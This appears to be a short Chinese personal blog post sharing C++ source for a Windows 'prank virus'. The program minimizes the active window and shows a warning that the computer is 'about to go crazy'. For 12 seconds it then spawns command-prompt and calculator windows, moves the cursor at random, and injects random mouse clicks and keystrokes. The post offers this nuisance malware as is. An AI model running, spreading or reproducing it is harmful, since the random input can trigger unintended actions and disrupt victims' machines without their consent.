鬼畜病毒

· · 个人记录

鬼畜病毒

#include<bits/stdc++.h>
#include<windows.h>
#pragma GCC optimize(2)
using namespace std;
HWND hwnd = GetForegroundWindow();
int main() {

    srand(time(0));

    ShowWindow(hwnd,SW_SHOWMINIMIZED);

    MessageBox(NULL,TEXT("你的电脑即将鬼畜"),TEXT("警告"),0);

    int starttime = time(0);

    while(time(0)-starttime < 12) {

        if(rand()%3 == 0) {

            if(rand()%2 == 0)
                system("start cmd");
            else
                system("start calc");

        }

        SetCursorPos(rand()%1601,rand()%901);

        int r=rand()%256;
        mouse_event(2,0,0,0,0);
        keybd_event(r,0,0,0);
        Sleep(3);
        keybd_event(r,0,2,0);
        mouse_event(4,0,0,0,0);
    }

    return 0;
}